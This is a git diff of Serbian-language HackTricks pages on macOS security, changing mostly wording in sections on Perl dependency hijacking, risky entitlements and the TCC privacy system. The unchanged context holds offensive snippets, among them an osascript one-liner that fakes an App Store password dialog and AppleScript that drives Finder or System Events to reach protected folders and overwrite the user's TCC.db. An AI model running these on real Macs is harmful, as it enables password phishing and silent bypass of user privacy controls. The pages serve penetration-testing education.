|
||||
## Preko zavisnosti
|
||||
|
||||
Moguće je izlistati redosled foldera zavisnosti koje Perl koristi:
|
||||
Moguće je izlistati redosled foldera zavisnosti Perl-a koji se izvršava:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
|
@ -64,30 +64,16 @@ perl -e 'print join("\n", @INC)'
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Neke od vraćenih mapa čak ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, nije **zaštićen** od strane **SIP-a** i nalazi se **ispred** mapa **zaštićenih SIP-om**. Stoga, neko bi mogao zloupotrebiti tu mapu da dodaje zavisnosti skripta tamo kako bi visoko privilegovani Perl skript učitao te zavisnosti.
|
||||
Neke od vraćenih foldera čak ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, nije **zaštićen** od strane **SIP** i nalazi se **ispred** foldera **zaštićenih SIP-om**. Stoga, neko bi mogao zloupotrebiti taj folder da dodaje zavisnosti skripti tamo kako bi visoko privilegovana Perl skripta mogla da je učita.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Međutim, imajte na umu da **morate biti root da biste pisali u tu mapu** i danas ćete dobiti ovaj **TCC prozor**:
|
||||
Međutim, imajte na umu da **morate biti root da biste pisali u taj folder** i danas ćete dobiti ovaj **TCC prozor**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Na primer, ako skript uvozi **`use File::Basename;`** bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` kako bi se izvršio proizvoljni kod.
|
||||
Na primer, ako skripta uvozi **`use File::Basename;`** bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` da bi se izvršio proizvoljni kod.
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -18,7 +18,7 @@ Drugi načini podrške HackTricks-u:
|
|||
Imajte na umu da ovlašćenja koja počinju sa **`com.apple`** nisu dostupna trećim licima, samo ih Apple može odobriti.
|
||||
{% endhint %}
|
||||
|
||||
## Visok
|
||||
## Visoko
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
|
@ -42,7 +42,7 @@ Aplikacije sa ovlašćenjem za Alat za Debugovanje mogu pozvati `task_for_pid()`
|
|||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Ovo ovlašćenje omogućava **učitavanje frameworka, plug-ina ili biblioteka bez potpisa od strane Apple-a ili potpisanog istim Team ID-em** kao glavni izvršni fajl, tako da napadač može zloupotrebiti neko proizvoljno učitavanje biblioteke da ubaci kod. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
Ovo ovlašćenje omogućava **učitavanje okvira, dodataka ili biblioteka bez potpisa od strane Apple-a ili potpisanog istim Team ID-em** kao glavni izvršni fajl, tako da napadač može zloupotrebiti neko proizvoljno učitavanje biblioteke da ubaci kod. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
|
@ -79,15 +79,15 @@ TODO: Ne znam šta ovo omogućava
|
|||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenih sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas!
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno** za ažuriranje SSV-zaštićenih sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR molim vas!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenih sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas!
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno** za ažuriranje SSV-zaštićenih sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR molim vas!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Ovo ovlašćenje nabraja **keychain** grupe kojima aplikacija ima pristup:
|
||||
Ovo ovlašćenje nabraja **grupe ključeva** kojima aplikacija ima pristup:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -107,8 +107,6 @@ Daje dozvole za **Pristup celom disku**, jednu od najviših dozvola koje možete
|
|||
Omogućava aplikaciji slanje događaja drugim aplikacijama koje se često koriste za **automatizaciju zadataka**. Kontrolišući druge aplikacije, može zloupotrebiti dozvole koje su date tim drugim aplikacijama.
|
||||
|
||||
Na primer, može ih naterati da zatraže korisnikovu lozinku:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
|
@ -126,25 +124,25 @@ Dozvoljava **promenu** atributa **`NFSHomeDirectory`** korisnika koji menja puta
|
|||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Dozvoljava modifikaciju fajlova unutar aplikacija (unutar app.app), što je **podrazumevano zabranjeno**.
|
||||
Dozvoljava modifikaciju fajlova unutar aplikativnih paketa (unutar app.app), što je **podrazumevano zabranjeno**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Moguće je proveriti ko ima ovaj pristup u _Sistemskim postavkama_ > _Privatnost & Bezbednost_ > _Upravljanje aplikacijama_.
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Proces će moći da **zloupotrebi macOS funkcije pristupačnosti**, što znači da će na primer moći da pritisne taster. Tako bi mogao da zatraži pristup kontroli aplikacije poput Findera i odobri dijalog sa ovom dozvolom.
|
||||
Proces će moći da **zloupotrebi macOS funkcije pristupačnosti**, što znači da na primer može da pritisne tasterske prečice. Tako bi mogao da zatraži pristup kontroli aplikacije poput Findera i odobri dijalog sa ovom dozvolom.
|
||||
|
||||
## Srednje
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Ova dozvola omogućava da se **kreira memorija koja je upisiva i izvršna** prolaskom `MAP_JIT` zastave funkciji sistema `mmap()`. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
Ova dozvola omogućava da se **kreira memorija koja je upisiva i izvršna** prolaskom `MAP_JIT` zastave ka `mmap()` sistemskoj funkciji. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Ova dozvola omogućava **zamenu ili zakrpu C koda**, korišćenje dugo zastarelog **`NSCreateObjectFileImageFromMemory`** (što je suštinski nesigurno), ili korišćenje **DVDPlayback** okvira. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
Ova dozvola omogućava **zamenu ili zakrpu C koda**, korišćenje dugo zastarelog **`NSCreateObjectFileImageFromMemory`** (što je fundamentalno nesigurno), ili korišćenje **DVDPlayback** okvira. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima sa kodom koji nije siguran za memoriju. Pažljivo razmislite da li vaša aplikacija zahteva ovaj izuzetak.
|
||||
|
@ -152,10 +150,10 @@ Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u j
|
|||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Ova dozvola omogućava **modifikaciju sekcija sopstvenih izvršnih fajlova** na disku da bi se silom izašlo. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
Ova dozvola omogućava da se **modifikuju sekcije sopstvenih izvršnih fajlova** na disku kako bi se silom izašlo. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dozvola za Onemogućavanje zaštite izvršne memorije je ekstremna dozvola koja uklanja osnovnu sigurnosnu zaštitu iz vaše aplikacije, čime se omogućava napadaču da prepiše izvršni kod vaše aplikacije bez otkrivanja. Preferirajte uže dozvole ako je moguće.
|
||||
Dozvola za Onemogućavanje Zaštite Izvršne Memorije je ekstremna dozvola koja uklanja osnovnu sigurnosnu zaštitu iz vaše aplikacije, čime se omogućava napadaču da prepiše izvršni kod vaše aplikacije bez otkrivanja. Preferirajte uže dozvole ako je moguće.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -185,7 +183,7 @@ Dozvoli procesu da **zatraži sve TCC dozvole**.
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -18,13 +18,13 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
**TCC (Transparentnost, Saglasnost i Kontrola)** je sigurnosni protokol koji se fokusira na regulisanje dozvola aplikacija. Njegova osnovna uloga je da zaštiti osetljive funkcije poput **usluga lokacije, kontakata, fotografija, mikrofona, kamere, pristupačnosti i punog pristupa disku**. Zahtevajući eksplicitnu saglasnost korisnika pre nego što aplikacija dobije pristup ovim elementima, TCC poboljšava privatnost i kontrolu korisnika nad njihovim podacima.
|
||||
|
||||
Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim funkcijama. To je vidljivo kroz prozor koji korisnicima omogućava da **odobre ili odbiju pristup**. Osim toga, TCC omogućava direktna korisnička dejstva, poput **prevlačenja i ispuštanja fajlova u aplikaciju**, kako bi se odobrio pristup određenim fajlovima, osiguravajući da aplikacije imaju pristup samo onome što je eksplicitno dozvoljeno.
|
||||
Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim funkcijama. To je vidljivo kroz prozor koji korisnicima omogućava da **odobre ili odbiju pristup**. Osim toga, TCC omogućava direktna korisnička dejstva, poput **prevlačenja i ispuštanja fajlova u aplikaciju**, kako bi se odobrio pristup određenim fajlovima, obezbeđujući da aplikacije imaju pristup samo onome što je eksplicitno dozvoljeno.
|
||||
|
||||
![Primer TCC prozora](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC** upravlja **daemonom** smeštenim u `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i konfigurisan u `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrovanje mach servisa `com.apple.tccd.system`).
|
||||
**TCC** upravlja **daemon**-om smeštenim u `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i konfigurisan u `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrovanje mach servisa `com.apple.tccd.system`).
|
||||
|
||||
Postoji **tccd u režimu korisnika** koji se pokreće za svakog prijavljenog korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist`, registrovanje mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
Postoji **tccd u režimu korisnika** koji se pokreće po prijavljivanju korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist` registrovanjem mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Ovde možete videti tccd koji se izvršava kao sistem i kao korisnik:
|
||||
```bash
|
||||
|
@ -39,14 +39,14 @@ Dozvole se **nasleđuju od roditeljske** aplikacije i **dozvole** se **prate** n
|
|||
Dozvole/zabrane se zatim čuvaju u nekim TCC bazama podataka:
|
||||
|
||||
* Sistemski široka baza podataka u **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Ova baza podataka je **SIP zaštićena**, tako da samo SIP prekoračenje može da piše u nju.
|
||||
* Ova baza podataka je **SIP zaštićena**, tako da samo SIP prekidač može da piše u nju.
|
||||
* Korisnička TCC baza podataka **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** za korisničke preference.
|
||||
* Ova baza podataka je zaštićena tako da samo procesi sa visokim TCC privilegijama poput Puna diskovna pristupa mogu da pišu u nju (ali nije zaštićena SIP-om).
|
||||
* Ova baza podataka je zaštićena tako da samo procesi sa visokim TCC privilegijama poput Puna disk pristupa mogu da pišu u nju (ali nije zaštićena SIP-om).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Prethodne baze podataka su takođe **TCC zaštićene za čitanje pristupa**. Dakle, **nećete moći da čitate** svoju redovnu korisničku TCC bazu podataka osim ako je to iz procesa sa TCC privilegijama.
|
||||
|
||||
Međutim, zapamtite da će proces sa ovim visokim privilegijama (kao što su **FDA** ili **`kTCCServiceEndpointSecurityClient`**) moći da piše u korisničku TCC bazu podataka.
|
||||
Međutim, zapamtite da će proces sa ovim visokim privilegijama (kao što su **FDA** ili **`kTCCServiceEndpointSecurityClient`**) moći da piše u korisničku TCC bazu podataka
|
||||
{% endhint %}
|
||||
|
||||
* Postoji **treća** TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji su dozvoljeni da **pristupaju lokacionim uslugama**.
|
||||
|
@ -128,13 +128,13 @@ Proverom oba baze podataka možete proveriti dozvole koje je aplikacija dozvolil
|
|||
|
||||
* **`service`** je TCC **string reprezentacija dozvole**
|
||||
* **`client`** je **bundle ID** ili **putanja do binarnog fajla** sa dozvolama
|
||||
* **`client_type`** označava da li je u pitanju identifikator paketa(0) ili apsolutna putanja(1)
|
||||
* **`client_type`** označava da li je to identifikator paketa(0) ili apsolutna putanja(1)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kako izvršiti ako je u pitanju apsolutna putanja</summary>
|
||||
<summary>Kako izvršiti ako je to apsolutna putanja</summary>
|
||||
|
||||
Jednostavno uradite **`launctl load you_bin.plist`**, sa plist fajlom kao što je:
|
||||
Samo uradite **`launctl load you_bin.plist`**, sa plistom kao što je:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -175,7 +175,7 @@ Jednostavno uradite **`launctl load you_bin.plist`**, sa plist fajlom kao što j
|
|||
|
||||
* **`auth_value`** može imati različite vrednosti: denied(0), unknown(1), allowed(2), ili limited(3).
|
||||
* **`auth_reason`** može imati sledeće vrednosti: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti dozvole TCC-a:
|
||||
* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti TCC dozvole:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -209,7 +209,9 @@ tccutil reset All
|
|||
```
|
||||
### Provere potpisa TCC
|
||||
|
||||
TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe čuva i **informacije** o **potpisu** kako bi se **proverilo** da li aplikacija koja traži dozvolu za korišćenje određene funkcije jeste tačno određena aplikacija.
|
||||
TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe **čuva** **informacije** o **potpisu** kako bi **proverila** da li aplikacija koja traži dozvolu za korišćenje određene funkcije je tačno ona koja tvrdi da jeste.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -224,7 +226,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Stoga, druge aplikacije koje koriste isto ime i identifikator paketa neće moći pristupiti odobrenim dozvolama dodeljenim drugim aplikacijama.
|
||||
Zbog toga druge aplikacije koje koriste isto ime i identifikator paketa neće moći pristupiti odobrenim dozvolama date drugim aplikacijama.
|
||||
{% endhint %}
|
||||
|
||||
### Ovlašćenja i TCC Dozvole
|
||||
|
@ -232,9 +234,9 @@ Stoga, druge aplikacije koje koriste isto ime i identifikator paketa neće moći
|
|||
Aplikacije **ne samo da moraju** zatražiti i dobiti **pristup** određenim resursima, već takođe moraju **imati relevantna ovlašćenja**.\
|
||||
Na primer, **Telegram** ima ovlašćenje `com.apple.security.device.camera` da zatraži **pristup kameri**. Aplikacija koja **nema** ovo **ovlašćenje neće moći** pristupiti kameri (i korisnik neće biti ni pitao za dozvole).
|
||||
|
||||
Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati određena **ovlašćenja**. Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi.
|
||||
Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati određena **ovlašćenja.** Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi.
|
||||
|
||||
Apple-ove aplikacije **neće generisati prozore sa upitima**. One sadrže **unapred odobrena prava** na svojoj listi ovlašćenja, što znači da **nikada neće generisati iskačući prozor**, **niti** će se pojaviti u bilo kojoj od **TCC baza podataka.** Na primer:
|
||||
Apple-ove aplikacije **neće generisati prozore sa upitima**. One sadrže **unapred odobrena prava** na svojoj listi **ovlašćenja**, što znači da **nikada neće generisati iskačući prozor**, **niti** će se pojaviti u bilo kojoj od **TCC baza podataka.** Na primer:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -261,7 +263,7 @@ Neke TCC dozvole su: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePho
|
|||
|
||||
### Korisnička namera / com.apple.macl
|
||||
|
||||
Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji za datoteku prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut datoteke**. Ovaj atribut će **čuvati UUID** odobrenje aplikacije:
|
||||
Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji fajlu prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut fajla**. Ovaj atribut će **čuvati UUID** odobrene aplikacije:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -288,7 +290,7 @@ Prošireni atribut `com.apple.macl` **ne može biti očišćen** kao ostali pro
|
|||
|
||||
### Ubacivanje u TCC
|
||||
|
||||
Ako u nekom trenutku uspete da dobijete pristup za pisanje preko TCC baze podataka, možete koristiti nešto slično sledećem da dodate unos (uklonite komentare):
|
||||
Ako u nekom trenutku uspete da dobijete pristup pisanju preko TCC baze podataka, možete koristiti nešto slično sledećem kako biste dodali unos (uklonite komentare):
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -345,9 +347,9 @@ Ako ste uspeli da uđete u aplikaciju sa nekim TCC dozvolama, proverite sledeću
|
|||
### Automatizacija (Finder) do FDA\*
|
||||
|
||||
Ime TCC dozvole za Automatizaciju je: **`kTCCServiceAppleEvents`**\
|
||||
Ova specifična TCC dozvola takođe ukazuje na **aplikaciju koja može biti upravljana** unutar TCC baze podataka (tako da dozvole ne dozvoljavaju upravljanje svime).
|
||||
Ova specifična TCC dozvola takođe pokazuje **aplikaciju koja može biti upravljana** unutar TCC baze podataka (tako da dozvole ne dozvoljavaju upravljanje svime).
|
||||
|
||||
**Finder** je aplikacija koja **uvek ima FDA** (čak i ako se ne prikazuje u korisničkom interfejsu), tako da ako imate **Automatizaciju** privilegije nad njom, možete zloupotrebiti njene privilegije da **izvršava određene akcije**.\
|
||||
**Finder** je aplikacija koja **uvek ima FDA** (čak i ako se ne prikazuje u korisničkom interfejsu), tako da ako imate **Automatizaciju** privilegije nad njom, možete zloupotrebiti njene privilegije da **je naterate da obavi neke radnje**.\
|
||||
U ovom slučaju, vaša aplikacija bi trebalo da ima dozvolu **`kTCCServiceAppleEvents`** nad **`com.apple.Finder`**.
|
||||
|
||||
{% tabs %}
|
||||
|
@ -381,14 +383,14 @@ EOD
|
|||
Možete zloupotrebiti ovo da **napišete svoju bazu podataka korisnika TCC**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sa ovlašćenjem moći ćete **zatražiti od Findera pristup ograničenim fasciklama TCC** i dati vam fajlove, ali koliko znam, **nećete moći naterati Finder da izvrši proizvoljan kod** kako biste potpuno zloupotrebili njegov pristup FDA.
|
||||
Sa ovlašćenjem ćete moći **zatražiti od Findera pristup TCC ograničenim fasciklama** i dati vam fajlove, ali koliko znam nećete moći da naterate Finder da izvrši proizvoljan kod kako biste potpuno zloupotrebili njegov pristup FDA.
|
||||
|
||||
Stoga, nećete moći zloupotrebiti sve mogućnosti FDA.
|
||||
{% endhint %}
|
||||
|
||||
Ovo je TCC prozor za dobijanje privilegija automatizacije nad Finderom:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da zato što aplikacija **Automator** ima TCC ovlašćenje **`kTCCServiceAppleEvents`**, može **kontrolisati bilo koju aplikaciju**, poput Findera. Dakle, imajući ovlašćenje za kontrolu Automatora, takođe biste mogli kontrolisati **Finder** pomoću koda kao što je prikazano ispod:
|
||||
|
@ -418,11 +420,11 @@ EOD
|
|||
```
|
||||
</details>
|
||||
|
||||
Isto se dešava i sa **Script Editor aplikacijom,** može kontrolisati Finder, ali korišćenjem AppleScript-a ne možete ga naterati da izvrši skriptu.
|
||||
Isto važi i za **Script Editor aplikaciju,** ona može kontrolisati Finder, ali korišćenjem AppleScript-a ne možete je naterati da izvrši skriptu.
|
||||
|
||||
### Automatizacija (SE) ka nekim TCC
|
||||
|
||||
**System Events može kreirati Folder Actions, a Folder actions mogu pristupiti nekim TCC folderima** (Desktop, Documents & Downloads), tako da se skripta poput sledeće može koristiti za zloupotrebu ovog ponašanja:
|
||||
**System Events može kreirati Folder Actions, a Folder Actions mogu pristupiti nekim TCC folderima** (Desktop, Documents & Downloads), tako da se skripta poput sledeće može koristiti za zloupotrebu ovog ponašanja:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -466,9 +468,9 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### Automatizacija (SE) + Pristupačnost (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
|
||||
|
||||
Automatizacija na **`System Events`** + Pristupačnost (**`kTCCServicePostEvent`**) omogućava slanje **tastera ka procesima**. Na ovaj način možete zloupotrebiti Finder kako biste promenili korisnički TCC.db ili dali FDA proizvoljnoj aplikaciji (mada će možda biti potrebna lozinka za ovo).
|
||||
Automatizacija na **`System Events`** + Pristupačnost (**`kTCCServicePostEvent`**) omogućava slanje **tastera na procese**. Na ovaj način možete zloupotrebiti Finder da promenite korisnički TCC.db ili da date FDA proizvoljnoj aplikaciji (mada će možda biti potrebna lozinka za ovo).
|
||||
|
||||
Primer prebrisavanja korisničkog TCC.db fajla pomoću Findera:
|
||||
Primer prebrisavanja korisničkog TCC.db preko Findera:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
